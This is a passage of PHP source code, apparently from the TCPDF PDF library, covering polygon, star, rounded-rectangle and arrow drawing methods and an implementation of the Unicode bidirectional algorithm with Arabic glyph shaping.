$this->_outLine($p[$i], $p[$i + 1]); } $this->_out($op); } // draw outline $this->_outPoint($p[0], $p[1]); for ($i = 2; $i < $nc; $i = $i + 2) { $line_num = ($i / 2) - 1; if (isset($line_style[$line_num])) { if ($line_style[$line_num] != 0) { if (is_array($line_style[$line_num])) { $this->_out('S'); $this->SetLineStyle($line_style[$line_num]); $this->_outPoint($p[$i - 2], $p[$i - 1]); $this->_outLine($p[$i], $p[$i + 1]); $this->_out('S'); $this->_outPoint($p[$i], $p[$i + 1]); } else { $this->_outLine($p[$i], $p[$i + 1]); } } } else { $this->_outLine($p[$i], $p[$i + 1]); } } $this->_out($op); } } if ($draw) { $this->_outPoint($p[0], $p[1]); for ($i = 2; $i < $nc; $i = $i + 2) { $this->_outLine($p[$i], $p[$i + 1]); } $this->_out($op); } } /** * Draws a regular polygon. * @param $x0 (float) Abscissa of center point. * @param $y0 (float) Ordinate of center point. * @param $r: (float) Radius of inscribed circle. * @param $ns (integer) Number of sides. * @param $angle (float) Angle oriented (anti-clockwise). Default value: 0. * @param $draw_circle (boolean) Draw inscribed circle or not. Default value: false. * @param $style (string) Style of rendering. See the getPathPaintOperator() function for more information. * @param $line_style (array) Line style of polygon sides. Array with keys among the following: * <ul> * <li>all: Line style of all sides. Array like for SetLineStyle().</li> * <li>0 to ($ns - 1): Line style of each side. Array like for SetLineStyle().</li> * </ul> * If a key is not present or is null, not draws the side. Default value is default line style (empty array). * @param $fill_color (array) Fill color. Format: array(red, green, blue). Default value: default color (empty array). * @param $circle_style (string) Style of rendering of inscribed circle (if draws). Possible values are: * <ul> * <li>D or empty string: Draw (default).</li> * <li>F: Fill.</li> * <li>DF or FD: Draw and fill.</li> * <li>CNZ: Clipping mode (using the even-odd rule to determine which regions lie inside the clipping path).</li> * <li>CEO: Clipping mode (using the nonzero winding number rule to determine which regions lie inside the clipping path).</li> * </ul> * @param $circle_outLine_style (array) Line style of inscribed circle (if draws). Array like for SetLineStyle(). Default value: default line style (empty array). * @param $circle_fill_color (array) Fill color of inscribed circle (if draws). Format: array(red, green, blue). Default value: default color (empty array). * @public * @since 2.1.000 (2008-01-08) */ public function RegularPolygon($x0, $y0, $r, $ns, $angle=0, $draw_circle=false, $style='', $line_style=array(), $fill_color=array(), $circle_style='', $circle_outLine_style=array(), $circle_fill_color=array()) { if (3 > $ns) { $ns = 3; } if ($draw_circle) { $this->Circle($x0, $y0, $r, 0, 360, $circle_style, $circle_outLine_style, $circle_fill_color); } $p = array(); for ($i = 0; $i < $ns; ++$i) { $a = $angle + ($i * 360 / $ns); $a_rad = deg2rad((float) $a); $p[] = $x0 + ($r * sin($a_rad)); $p[] = $y0 + ($r * cos($a_rad)); } $this->Polygon($p, $style, $line_style, $fill_color); } /** * Draws a star polygon * @param $x0 (float) Abscissa of center point. * @param $y0 (float) Ordinate of center point. * @param $r (float) Radius of inscribed circle. * @param $nv (integer) Number of vertices. * @param $ng (integer) Number of gap (if ($ng % $nv = 1) then is a regular polygon). * @param $angle: (float) Angle oriented (anti-clockwise). Default value: 0. * @param $draw_circle: (boolean) Draw inscribed circle or not. Default value is false. * @param $style (string) Style of rendering. See the getPathPaintOperator() function for more information. * @param $line_style (array) Line style of polygon sides. Array with keys among the following: * <ul> * <li>all: Line style of all sides. Array like for * SetLineStyle().</li> * <li>0 to (n - 1): Line style of each side. Array like for SetLineStyle().</li> * </ul> * If a key is not present or is null, not draws the side. Default value is default line style (empty array). * @param $fill_color (array) Fill color. Format: array(red, green, blue). Default value: default color (empty array). * @param $circle_style (string) Style of rendering of inscribed circle (if draws). Possible values are: * <ul> * <li>D or empty string: Draw (default).</li> * <li>F: Fill.</li> * <li>DF or FD: Draw and fill.</li> * <li>CNZ: Clipping mode (using the even-odd rule to determine which regions lie inside the clipping path).</li> * <li>CEO: Clipping mode (using the nonzero winding number rule to determine which regions lie inside the clipping path).</li> * </ul> * @param $circle_outLine_style (array) Line style of inscribed circle (if draws). Array like for SetLineStyle(). Default value: default line style (empty array). * @param $circle_fill_color (array) Fill color of inscribed circle (if draws). Format: array(red, green, blue). Default value: default color (empty array). * @public * @since 2.1.000 (2008-01-08) */ public function StarPolygon($x0, $y0, $r, $nv, $ng, $angle=0, $draw_circle=false, $style='', $line_style=array(), $fill_color=array(), $circle_style='', $circle_outLine_style=array(), $circle_fill_color=array()) { if ($nv < 2) { $nv = 2; } if ($draw_circle) { $this->Circle($x0, $y0, $r, 0, 360, $circle_style, $circle_outLine_style, $circle_fill_color); } $p2 = array(); $visited = array(); for ($i = 0; $i < $nv; ++$i) { $a = $angle + ($i * 360 / $nv); $a_rad = deg2rad((float) $a); $p2[] = $x0 + ($r * sin($a_rad)); $p2[] = $y0 + ($r * cos($a_rad)); $visited[] = false; } $p = array(); $i = 0; do { $p[] = $p2[$i * 2]; $p[] = $p2[($i * 2) + 1]; $visited[$i] = true; $i += $ng; $i %= $nv; } while (!$visited[$i]); $this->Polygon($p, $style, $line_style, $fill_color); } /** * Draws a rounded rectangle. * @param $x (float) Abscissa of upper-left corner. * @param $y (float) Ordinate of upper-left corner. * @param $w (float) Width. * @param $h (float) Height. * @param $r (float) the radius of the circle used to round off the corners of the rectangle. * @param $round_corner (string) Draws rounded corner or not. String with a 0 (not rounded i-corner) or 1 (rounded i-corner) in i-position. Positions are, in order and begin to 0: top right, bottom right, bottom left and top left. Default value: all rounded corner ("1111"). * @param $style (string) Style of rendering. See the getPathPaintOperator() function for more information. * @param $border_style (array) Border style of rectangle. Array like for SetLineStyle(). Default value: default line style (empty array). * @param $fill_color (array) Fill color. Format: array(GREY) or array(R,G,B) or array(C,M,Y,K) or array(C,M,Y,K,SpotColorName). Default value: default color (empty array). * @public * @since 2.1.000 (2008-01-08) */ public function RoundedRect($x, $y, $w, $h, $r, $round_corner='1111', $style='', $border_style=array(), $fill_color=array()) { $this->RoundedRectXY($x, $y, $w, $h, $r, $r, $round_corner, $style, $border_style, $fill_color); } /** * Draws a rounded rectangle. * @param $x (float) Abscissa of upper-left corner. * @param $y (float) Ordinate of upper-left corner. * @param $w (float) Width. * @param $h (float) Height. * @param $rx (float) the x-axis radius of the ellipse used to round off the corners of the rectangle. * @param $ry (float) the y-axis radius of the ellipse used to round off the corners of the rectangle. * @param $round_corner (string) Draws rounded corner or not. String with a 0 (not rounded i-corner) or 1 (rounded i-corner) in i-position. Positions are, in order and begin to 0: top right, bottom right, bottom left and top left. Default value: all rounded corner ("1111"). * @param $style (string) Style of rendering. See the getPathPaintOperator() function for more information. * @param $border_style (array) Border style of rectangle. Array like for SetLineStyle(). Default value: default line style (empty array). * @param $fill_color (array) Fill color. Format: array(GREY) or array(R,G,B) or array(C,M,Y,K) or array(C,M,Y,K,SpotColorName). Default value: default color (empty array). * @public * @since 4.9.019 (2010-04-22) */ public function RoundedRectXY($x, $y, $w, $h, $rx, $ry, $round_corner='1111', $style='', $border_style=array(), $fill_color=array()) { if ($this->state != 2) { return; } if (($round_corner == '0000') OR (($rx == $ry) AND ($rx == 0))) { // Not rounded $this->Rect($x, $y, $w, $h, $style, $border_style, $fill_color); return; } // Rounded if (!(false === strpos($style, 'F')) AND isset($fill_color)) { $this->SetFillColorArray($fill_color); } $op = $this->getPathPaintOperator($style); if ($op == 'f') { $border_style = array(); } if ($border_style) { $this->SetLineStyle($border_style); } $MyArc = 4 / 3 * (sqrt(2) - 1); $this->_outPoint($x + $rx, $y); $xc = $x + $w - $rx; $yc = $y + $ry; $this->_outLine($xc, $y); if ($round_corner[0]) { $this->_outCurve($xc + ($rx * $MyArc), $yc - $ry, $xc + $rx, $yc - ($ry * $MyArc), $xc + $rx, $yc); } else { $this->_outLine($x + $w, $y); } $xc = $x + $w - $rx; $yc = $y + $h - $ry; $this->_outLine($x + $w, $yc); if ($round_corner[1]) { $this->_outCurve($xc + $rx, $yc + ($ry * $MyArc), $xc + ($rx * $MyArc), $yc + $ry, $xc, $yc + $ry); } else { $this->_outLine($x + $w, $y + $h); } $xc = $x + $rx; $yc = $y + $h - $ry; $this->_outLine($xc, $y + $h); if ($round_corner[2]) { $this->_outCurve($xc - ($rx * $MyArc), $yc + $ry, $xc - $rx, $yc + ($ry * $MyArc), $xc - $rx, $yc); } else { $this->_outLine($x, $y + $h); } $xc = $x + $rx; $yc = $y + $ry; $this->_outLine($x, $yc); if ($round_corner[3]) { $this->_outCurve($xc - $rx, $yc - ($ry * $MyArc), $xc - ($rx * $MyArc), $yc - $ry, $xc, $yc - $ry); } else { $this->_outLine($x, $y); $this->_outLine($x + $rx, $y); } $this->_out($op); } /** * Draws a grahic arrow. * @param $x0 (float) Abscissa of first point. * @param $y0 (float) Ordinate of first point. * @param $x1 (float) Abscissa of second point. * @param $y1 (float) Ordinate of second point. * @param $head_style (int) (0 = draw only arrowhead arms, 1 = draw closed arrowhead, but no fill, 2 = closed and filled arrowhead, 3 = filled arrowhead) * @param $arm_size (float) length of arrowhead arms * @param $arm_angle (int) angle between an arm and the shaft * @author Piotr Galecki, Nicola Asuni, Andy Meier * @since 4.6.018 (2009-07-10) */ public function Arrow($x0, $y0, $x1, $y1, $head_style=0, $arm_size=5, $arm_angle=15) { // getting arrow direction angle // 0 deg angle is when both arms go along X axis. angle grows clockwise. $dir_angle = atan2(($y0 - $y1), ($x0 - $x1)); if ($dir_angle < 0) { $dir_angle += (2 * M_PI); } $arm_angle = deg2rad($arm_angle); $sx1 = $x1; $sy1 = $y1; if ($head_style > 0) { // calculate the stopping point for the arrow shaft $sx1 = $x1 + (($arm_size - $this->LineWidth) * cos($dir_angle)); $sy1 = $y1 + (($arm_size - $this->LineWidth) * sin($dir_angle)); } // main arrow line / shaft $this->Line($x0, $y0, $sx1, $sy1); // left arrowhead arm tip $x2L = $x1 + ($arm_size * cos($dir_angle + $arm_angle)); $y2L = $y1 + ($arm_size * sin($dir_angle + $arm_angle)); // right arrowhead arm tip $x2R = $x1 + ($arm_size * cos($dir_angle - $arm_angle)); $y2R = $y1 + ($arm_size * sin($dir_angle - $arm_angle)); $mode = 'D'; $style = array(); switch ($head_style) { case 0: { // draw only arrowhead arms $mode = 'D'; $style = array(1, 1, 0); break; } case 1: { // draw closed arrowhead, but no fill $mode = 'D'; break; } case 2: { // closed and filled arrowhead $mode = 'DF'; break; } case 3: { // filled arrowhead $mode = 'F'; break; } } $this->Polygon(array($x2L, $y2L, $x1, $y1, $x2R, $y2R), $mode, $style, array()); } // END GRAPHIC FUNCTIONS SECTION ----------------------- // BIDIRECTIONAL TEXT SECTION -------------------------- /** * Reverse the RLT substrings using the Bidirectional Algorithm (http://unicode.org/reports/tr9/). * @param $str (string) string to manipulate. * @param $setbom (bool) if true set the Byte Order Mark (BOM = 0xFEFF) * @param $forcertl (bool) if true forces RTL text direction * @return string * @protected * @author Nicola Asuni * @since 2.1.000 (2008-01-08) */ protected function utf8StrRev($str, $setbom=false, $forcertl=false) { return $this->utf8StrArrRev($this->UTF8StringToArray($str), $str, $setbom, $forcertl); } /** * Reverse the RLT substrings array using the Bidirectional Algorithm (http://unicode.org/reports/tr9/). * @param $arr (array) array of unicode values. * @param $str (string) string to manipulate (or empty value). * @param $setbom (bool) if true set the Byte Order Mark (BOM = 0xFEFF) * @param $forcertl (bool) if true forces RTL text direction * @return string * @protected * @author Nicola Asuni * @since 4.9.000 (2010-03-27) */ protected function utf8StrArrRev($arr, $str='', $setbom=false, $forcertl=false) { return $this->arrUTF8ToUTF16BE($this->utf8Bidi($arr, $str, $forcertl), $setbom); } /** * Reverse the RLT substrings using the Bidirectional Algorithm (http://unicode.org/reports/tr9/). * @param $ta (array) array of characters composing the string. * @param $str (string) string to process * @param $forcertl (bool) if 'R' forces RTL, if 'L' forces LTR * @return array of unicode chars * @author Nicola Asuni * @protected * @since 2.4.000 (2008-03-06) */ protected function utf8Bidi($ta, $str='', $forcertl=false) { // paragraph embedding level $pel = 0; // max level $maxlevel = 0; if ($this->empty_string($str)) { // create string from array $str = $this->UTF8ArrSubString($ta); } // check if string contains arabic text if (preg_match($this->unicode->uni_RE_PATTERN_ARABIC, $str)) { $arabic = true; } else { $arabic = false; } // check if string contains RTL text if (!($forcertl OR $arabic OR preg_match($this->unicode->uni_RE_PATTERN_RTL, $str))) { return $ta; } // get number of chars $numchars = count($ta); if ($forcertl == 'R') { $pel = 1; } elseif ($forcertl == 'L') { $pel = 0; } else { // P2. In each paragraph, find the first character of type L, AL, or R. // P3. If a character is found in P2 and it is of type AL or R, then set the paragraph embedding level to one; otherwise, set it to zero. for ($i=0; $i < $numchars; ++$i) { $type = $this->unicode->uni_type[$ta[$i]]; if ($type == 'L') { $pel = 0; break; } elseif (($type == 'AL') OR ($type == 'R')) { $pel = 1; break; } } } // Current Embedding Level $cel = $pel; // directional override status $dos = 'N'; $remember = array(); // start-of-level-run $sor = $pel % 2 ? 'R' : 'L'; $eor = $sor; // Array of characters data $chardata = Array(); // X1. Begin by setting the current embedding level to the paragraph embedding level. Set the directional override status to neutral. Process each character iteratively, applying rules X2 through X9. Only embedding levels from 0 to 61 are valid in this phase. // In the resolution of levels in rules I1 and I2, the maximum embedding level of 62 can be reached. for ($i=0; $i < $numchars; ++$i) { if ($ta[$i] == $this->unicode->uni_RLE) { // X2. With each RLE, compute the least greater odd embedding level. // a. If this new level would be valid, then this embedding code is valid. Remember (push) the current embedding level and override status. Reset the current level to this new level, and reset the override status to neutral. // b. If the new level would not be valid, then this code is invalid. Do not change the current level or override status. $next_level = $cel + ($cel % 2) + 1; if ($next_level < 62) { $remember[] = array('num' => $this->unicode->uni_RLE, 'cel' => $cel, 'dos' => $dos); $cel = $next_level; $dos = 'N'; $sor = $eor; $eor = $cel % 2 ? 'R' : 'L'; } } elseif ($ta[$i] == $this->unicode->uni_LRE) { // X3. With each LRE, compute the least greater even embedding level. // a. If this new level would be valid, then this embedding code is valid. Remember (push) the current embedding level and override status. Reset the current level to this new level, and reset the override status to neutral. // b. If the new level would not be valid, then this code is invalid. Do not change the current level or override status. $next_level = $cel + 2 - ($cel % 2); if ( $next_level < 62 ) { $remember[] = array('num' => $this->unicode->uni_LRE, 'cel' => $cel, 'dos' => $dos); $cel = $next_level; $dos = 'N'; $sor = $eor; $eor = $cel % 2 ? 'R' : 'L'; } } elseif ($ta[$i] == $this->unicode->uni_RLO) { // X4. With each RLO, compute the least greater odd embedding level. // a. If this new level would be valid, then this embedding code is valid. Remember (push) the current embedding level and override status. Reset the current level to this new level, and reset the override status to right-to-left. // b. If the new level would not be valid, then this code is invalid. Do not change the current level or override status. $next_level = $cel + ($cel % 2) + 1; if ($next_level < 62) { $remember[] = array('num' => $this->unicode->uni_RLO, 'cel' => $cel, 'dos' => $dos); $cel = $next_level; $dos = 'R'; $sor = $eor; $eor = $cel % 2 ? 'R' : 'L'; } } elseif ($ta[$i] == $this->unicode->uni_LRO) { // X5. With each LRO, compute the least greater even embedding level. // a. If this new level would be valid, then this embedding code is valid. Remember (push) the current embedding level and override status. Reset the current level to this new level, and reset the override status to left-to-right. // b. If the new level would not be valid, then this code is invalid. Do not change the current level or override status. $next_level = $cel + 2 - ($cel % 2); if ( $next_level < 62 ) { $remember[] = array('num' => $this->unicode->uni_LRO, 'cel' => $cel, 'dos' => $dos); $cel = $next_level; $dos = 'L'; $sor = $eor; $eor = $cel % 2 ? 'R' : 'L'; } } elseif ($ta[$i] == $this->unicode->uni_PDF) { // X7. With each PDF, determine the matching embedding or override code. If there was a valid matching code, restore (pop) the last remembered (pushed) embedding level and directional override. if (count($remember)) { $last = count($remember ) - 1; if (($remember[$last]['num'] == $this->unicode->uni_RLE) OR ($remember[$last]['num'] == $this->unicode->uni_LRE) OR ($remember[$last]['num'] == $this->unicode->uni_RLO) OR ($remember[$last]['num'] == $this->unicode->uni_LRO)) { $match = array_pop($remember); $cel = $match['cel']; $dos = $match['dos']; $sor = $eor; $eor = ($cel > $match['cel'] ? $cel : $match['cel']) % 2 ? 'R' : 'L'; } } } elseif (($ta[$i] != $this->unicode->uni_RLE) AND ($ta[$i] != $this->unicode->uni_LRE) AND ($ta[$i] != $this->unicode->uni_RLO) AND ($ta[$i] != $this->unicode->uni_LRO) AND ($ta[$i] != $this->unicode->uni_PDF)) { // X6. For all types besides RLE, LRE, RLO, LRO, and PDF: // a. Set the level of the current character to the current embedding level. // b. Whenever the directional override status is not neutral, reset the current character type to the directional override status. if ($dos != 'N') { $chardir = $dos; } else { if (isset($this->unicode->uni_type[$ta[$i]])) { $chardir = $this->unicode->uni_type[$ta[$i]]; } else { $chardir = 'L'; } } // stores string characters and other information $chardata[] = array('char' => $ta[$i], 'level' => $cel, 'type' => $chardir, 'sor' => $sor, 'eor' => $eor); } } // end for each char // X8. All explicit directional embeddings and overrides are completely terminated at the end of each paragraph. Paragraph separators are not included in the embedding. // X9. Remove all RLE, LRE, RLO, LRO, PDF, and BN codes. // X10. The remaining rules are applied to each run of characters at the same level. For each run, determine the start-of-level-run (sor) and end-of-level-run (eor) type, either L or R. This depends on the higher of the two levels on either side of the boundary (at the start or end of the paragraph, the level of the 'other' run is the base embedding level). If the higher level is odd, the type is R; otherwise, it is L. // 3.3.3 Resolving Weak Types // Weak types are now resolved one level run at a time. At level run boundaries where the type of the character on the other side of the boundary is required, the type assigned to sor or eor is used. // Nonspacing marks are now resolved based on the previous characters. $numchars = count($chardata); // W1. Examine each nonspacing mark (NSM) in the level run, and change the type of the NSM to the type of the previous character. If the NSM is at the start of the level run, it will get the type of sor. $prevlevel = -1; // track level changes $levcount = 0; // counts consecutive chars at the same level for ($i=0; $i < $numchars; ++$i) { if ($chardata[$i]['type'] == 'NSM') { if ($levcount) { $chardata[$i]['type'] = $chardata[$i]['sor']; } elseif ($i > 0) { $chardata[$i]['type'] = $chardata[($i-1)]['type']; } } if ($chardata[$i]['level'] != $prevlevel) { $levcount = 0; } else { ++$levcount; } $prevlevel = $chardata[$i]['level']; } // W2. Search backward from each instance of a European number until the first strong type (R, L, AL, or sor) is found. If an AL is found, change the type of the European number to Arabic number. $prevlevel = -1; $levcount = 0; for ($i=0; $i < $numchars; ++$i) { if ($chardata[$i]['char'] == 'EN') { for ($j=$levcount; $j >= 0; $j--) { if ($chardata[$j]['type'] == 'AL') { $chardata[$i]['type'] = 'AN'; } elseif (($chardata[$j]['type'] == 'L') OR ($chardata[$j]['type'] == 'R')) { break; } } } if ($chardata[$i]['level'] != $prevlevel) { $levcount = 0; } else { ++$levcount; } $prevlevel = $chardata[$i]['level']; } // W3. Change all ALs to R. for ($i=0; $i < $numchars; ++$i) { if ($chardata[$i]['type'] == 'AL') { $chardata[$i]['type'] = 'R'; } } // W4. A single European separator between two European numbers changes to a European number. A single common separator between two numbers of the same type changes to that type. $prevlevel = -1; $levcount = 0; for ($i=0; $i < $numchars; ++$i) { if (($levcount > 0) AND (($i+1) < $numchars) AND ($chardata[($i+1)]['level'] == $prevlevel)) { if (($chardata[$i]['type'] == 'ES') AND ($chardata[($i-1)]['type'] == 'EN') AND ($chardata[($i+1)]['type'] == 'EN')) { $chardata[$i]['type'] = 'EN'; } elseif (($chardata[$i]['type'] == 'CS') AND ($chardata[($i-1)]['type'] == 'EN') AND ($chardata[($i+1)]['type'] == 'EN')) { $chardata[$i]['type'] = 'EN'; } elseif (($chardata[$i]['type'] == 'CS') AND ($chardata[($i-1)]['type'] == 'AN') AND ($chardata[($i+1)]['type'] == 'AN')) { $chardata[$i]['type'] = 'AN'; } } if ($chardata[$i]['level'] != $prevlevel) { $levcount = 0; } else { ++$levcount; } $prevlevel = $chardata[$i]['level']; } // W5. A sequence of European terminators adjacent to European numbers changes to all European numbers. $prevlevel = -1; $levcount = 0; for ($i=0; $i < $numchars; ++$i) { if ($chardata[$i]['type'] == 'ET') { if (($levcount > 0) AND ($chardata[($i-1)]['type'] == 'EN')) { $chardata[$i]['type'] = 'EN'; } else { $j = $i+1; while (($j < $numchars) AND ($chardata[$j]['level'] == $prevlevel)) { if ($chardata[$j]['type'] == 'EN') { $chardata[$i]['type'] = 'EN'; break; } elseif ($chardata[$j]['type'] != 'ET') { break; } ++$j; } } } if ($chardata[$i]['level'] != $prevlevel) { $levcount = 0; } else { ++$levcount; } $prevlevel = $chardata[$i]['level']; } // W6. Otherwise, separators and terminators change to Other Neutral. $prevlevel = -1; $levcount = 0; for ($i=0; $i < $numchars; ++$i) { if (($chardata[$i]['type'] == 'ET') OR ($chardata[$i]['type'] == 'ES') OR ($chardata[$i]['type'] == 'CS')) { $chardata[$i]['type'] = 'ON'; } if ($chardata[$i]['level'] != $prevlevel) { $levcount = 0; } else { ++$levcount; } $prevlevel = $chardata[$i]['level']; } //W7. Search backward from each instance of a European number until the first strong type (R, L, or sor) is found. If an L is found, then change the type of the European number to L. $prevlevel = -1; $levcount = 0; for ($i=0; $i < $numchars; ++$i) { if ($chardata[$i]['char'] == 'EN') { for ($j=$levcount; $j >= 0; $j--) { if ($chardata[$j]['type'] == 'L') { $chardata[$i]['type'] = 'L'; } elseif ($chardata[$j]['type'] == 'R') { break; } } } if ($chardata[$i]['level'] != $prevlevel) { $levcount = 0; } else { ++$levcount; } $prevlevel = $chardata[$i]['level']; } // N1. A sequence of neutrals takes the direction of the surrounding strong text if the text on both sides has the same direction. European and Arabic numbers act as if they were R in terms of their influence on neutrals. Start-of-level-run (sor) and end-of-level-run (eor) are used at level run boundaries. $prevlevel = -1; $levcount = 0; for ($i=0; $i < $numchars; ++$i) { if (($levcount > 0) AND (($i+1) < $numchars) AND ($chardata[($i+1)]['level'] == $prevlevel)) { if (($chardata[$i]['type'] == 'N') AND ($chardata[($i-1)]['type'] == 'L') AND ($chardata[($i+1)]['type'] == 'L')) { $chardata[$i]['type'] = 'L'; } elseif (($chardata[$i]['type'] == 'N') AND (($chardata[($i-1)]['type'] == 'R') OR ($chardata[($i-1)]['type'] == 'EN') OR ($chardata[($i-1)]['type'] == 'AN')) AND (($chardata[($i+1)]['type'] == 'R') OR ($chardata[($i+1)]['type'] == 'EN') OR ($chardata[($i+1)]['type'] == 'AN'))) { $chardata[$i]['type'] = 'R'; } elseif ($chardata[$i]['type'] == 'N') { // N2. Any remaining neutrals take the embedding direction $chardata[$i]['type'] = $chardata[$i]['sor']; } } elseif (($levcount == 0) AND (($i+1) < $numchars) AND ($chardata[($i+1)]['level'] == $prevlevel)) { // first char if (($chardata[$i]['type'] == 'N') AND ($chardata[$i]['sor'] == 'L') AND ($chardata[($i+1)]['type'] == 'L')) { $chardata[$i]['type'] = 'L'; } elseif (($chardata[$i]['type'] == 'N') AND (($chardata[$i]['sor'] == 'R') OR ($chardata[$i]['sor'] == 'EN') OR ($chardata[$i]['sor'] == 'AN')) AND (($chardata[($i+1)]['type'] == 'R') OR ($chardata[($i+1)]['type'] == 'EN') OR ($chardata[($i+1)]['type'] == 'AN'))) { $chardata[$i]['type'] = 'R'; } elseif ($chardata[$i]['type'] == 'N') { // N2. Any remaining neutrals take the embedding direction $chardata[$i]['type'] = $chardata[$i]['sor']; } } elseif (($levcount > 0) AND ((($i+1) == $numchars) OR (($i+1) < $numchars) AND ($chardata[($i+1)]['level'] != $prevlevel))) { //last char if (($chardata[$i]['type'] == 'N') AND ($chardata[($i-1)]['type'] == 'L') AND ($chardata[$i]['eor'] == 'L')) { $chardata[$i]['type'] = 'L'; } elseif (($chardata[$i]['type'] == 'N') AND (($chardata[($i-1)]['type'] == 'R') OR ($chardata[($i-1)]['type'] == 'EN') OR ($chardata[($i-1)]['type'] == 'AN')) AND (($chardata[$i]['eor'] == 'R') OR ($chardata[$i]['eor'] == 'EN') OR ($chardata[$i]['eor'] == 'AN'))) { $chardata[$i]['type'] = 'R'; } elseif ($chardata[$i]['type'] == 'N') { // N2. Any remaining neutrals take the embedding direction $chardata[$i]['type'] = $chardata[$i]['sor']; } } elseif ($chardata[$i]['type'] == 'N') { // N2. Any remaining neutrals take the embedding direction $chardata[$i]['type'] = $chardata[$i]['sor']; } if ($chardata[$i]['level'] != $prevlevel) { $levcount = 0; } else { ++$levcount; } $prevlevel = $chardata[$i]['level']; } // I1. For all characters with an even (left-to-right) embedding direction, those of type R go up one level and those of type AN or EN go up two levels. // I2. For all characters with an odd (right-to-left) embedding direction, those of type L, EN or AN go up one level. for ($i=0; $i < $numchars; ++$i) { $odd = $chardata[$i]['level'] % 2; if ($odd) { if (($chardata[$i]['type'] == 'L') OR ($chardata[$i]['type'] == 'AN') OR ($chardata[$i]['type'] == 'EN')) { $chardata[$i]['level'] += 1; } } else { if ($chardata[$i]['type'] == 'R') { $chardata[$i]['level'] += 1; } elseif (($chardata[$i]['type'] == 'AN') OR ($chardata[$i]['type'] == 'EN')) { $chardata[$i]['level'] += 2; } } $maxlevel = max($chardata[$i]['level'],$maxlevel); } // L1. On each line, reset the embedding level of the following characters to the paragraph embedding level: // 1. Segment separators, // 2. Paragraph separators, // 3. Any sequence of whitespace characters preceding a segment separator or paragraph separator, and // 4. Any sequence of white space characters at the end of the line. for ($i=0; $i < $numchars; ++$i) { if (($chardata[$i]['type'] == 'B') OR ($chardata[$i]['type'] == 'S')) { $chardata[$i]['level'] = $pel; } elseif ($chardata[$i]['type'] == 'WS') { $j = $i+1; while ($j < $numchars) { if ((($chardata[$j]['type'] == 'B') OR ($chardata[$j]['type'] == 'S')) OR (($j == ($numchars-1)) AND ($chardata[$j]['type'] == 'WS'))) { $chardata[$i]['level'] = $pel; break; } elseif ($chardata[$j]['type'] != 'WS') { break; } ++$j; } } } // Arabic Shaping // Cursively connected scripts, such as Arabic or Syriac, require the selection of positional character shapes that depend on adjacent characters. Shaping is logically applied after the Bidirectional Algorithm is used and is limited to characters within the same directional run. if ($arabic) { $endedletter = array(1569,1570,1571,1572,1573,1575,1577,1583,1584,1585,1586,1608,1688); $alfletter = array(1570,1571,1573,1575); $chardata2 = $chardata; $laaletter = false; $charAL = array(); $x = 0; for ($i=0; $i < $numchars; ++$i) { if (($this->unicode->uni_type[$chardata[$i]['char']] == 'AL') OR ($chardata[$i]['char'] == 32) OR ($chardata[$i]['char'] == 8204)) { $charAL[$x] = $chardata[$i]; $charAL[$x]['i'] = $i; $chardata[$i]['x'] = $x; ++$x; } } $numAL = $x; for ($i=0; $i < $numchars; ++$i) { $thischar = $chardata[$i]; if ($i > 0) { $prevchar = $chardata[($i-1)]; } else { $prevchar = false; } if (($i+1) < $numchars) { $nextchar = $chardata[($i+1)]; } else { $nextchar = false; } if ($this->unicode->uni_type[$thischar['char']] == 'AL') { $x = $thischar['x']; if ($x > 0) { $prevchar = $charAL[($x-1)]; } else { $prevchar = false; } if (($x+1) < $numAL) { $nextchar = $charAL[($x+1)]; } else { $nextchar = false; } // if laa letter if (($prevchar !== false) AND ($prevchar['char'] == 1604) AND (in_array($thischar['char'], $alfletter))) { $arabicarr = $this->unicode->uni_laa_array; $laaletter = true; if ($x > 1) { $prevchar = $charAL[($x-2)]; } else { $prevchar = false; } } else { $arabicarr = $this->unicode->uni_arabicsubst; $laaletter = false; } if (($prevchar !== false) AND ($nextchar !== false) AND (($this->unicode->uni_type[$prevchar['char']] == 'AL') OR ($this->unicode->uni_type[$prevchar['char']] == 'NSM')) AND (($this->unicode->uni_type[$nextchar['char']] == 'AL') OR ($this->unicode->uni_type[$nextchar['char']] == 'NSM')) AND ($prevchar['type'] == $thischar['type']) AND ($nextchar['type'] == $thischar['type']) AND ($nextchar['char'] != 1567)) { if (in_array($prevchar['char'], $endedletter)) { if (isset($arabicarr[$thischar['char']][2])) { // initial $chardata2[$i]['char'] = $arabicarr[$thischar['char']][2]; } } else { if (isset($arabicarr[$thischar['char']][3])) { // medial $chardata2[$i]['char'] = $arabicarr[$thischar['char']][3]; } } } elseif (($nextchar !== false) AND (($this->unicode->uni_type[$nextchar['char']] == 'AL') OR ($this->unicode->uni_type[$nextchar['char']] == 'NSM')) AND ($nextchar['type'] == $thischar['type']) AND ($nextchar['char'] != 1567)) { if (isset($arabicarr[$chardata[$i]['char']][2])) { // initial $chardata2[$i]['char'] = $arabicarr[$thischar['char']][2]; } } elseif ((($prevchar !== false) AND (($this->unicode->uni_type[$prevchar['char']] == 'AL') OR ($this->unicode->uni_type[$prevchar['char']] == 'NSM')) AND ($prevchar['type'] == $thischar['type'])) OR (($nextchar !== false) AND ($nextchar['char'] == 1567))) { // final if (($i > 1) AND ($thischar['char'] == 1607) AND ($chardata[$i-1]['char'] == 1604) AND ($chardata[$i-2]['char'] == 1604)) { //Allah Word // mark characters to delete with false $chardata2[$i-2]['char'] = false; $chardata2[$i-1]['char'] = false; $chardata2[$i]['char'] = 65010; } else { if (($prevchar !== false) AND in_array($prevchar['char'], $endedletter)) { if (isset($arabicarr[$thischar['char']][0])) { // isolated $chardata2[$i]['char'] = $arabicarr[$thischar['char']][0]; } } else { if (isset($arabicarr[$thischar['char']][1])) { // final $chardata2[$i]['char'] = $arabicarr[$thischar['char']][1]; } } } } elseif (isset($arabicarr[$thischar['char']][0])) { // isolated $chardata2[$i]['char'] = $arabicarr[$thischar['char']][0]; } // if laa letter if ($laaletter) { // mark characters to delete with false $chardata2[($charAL[($x-1)]['i'])]['char'] = false; } } // end if AL (Arabic Letter) } // end for each char /* * Combining characters that can occur with Arabic Shadda (0651 HEX, 1617 DEC) are replaced. * Putting the combining mark and shadda in the same glyph allows us to avoid the two marks overlapping each other in an illegible manner. */ for ($i = 0; $i < ($numchars-1); ++$i) { if (($chardata2[$i]['char'] == 1617) AND (isset($this->unicode->uni_diacritics[($chardata2[$i+1]['char'])]))) { // check if the subtitution font is defined on current font if (isset($this->CurrentFont['cw'][($this->unicode->uni_diacritics[($chardata2[$i+1]['char'])])])) { $chardata2[$i]['char'] = false; $chardata2[$i+1]['char'] = $this->unicode->uni_diacritics[($chardata2[$i+1]['char'])]; } } } // remove marked characters foreach 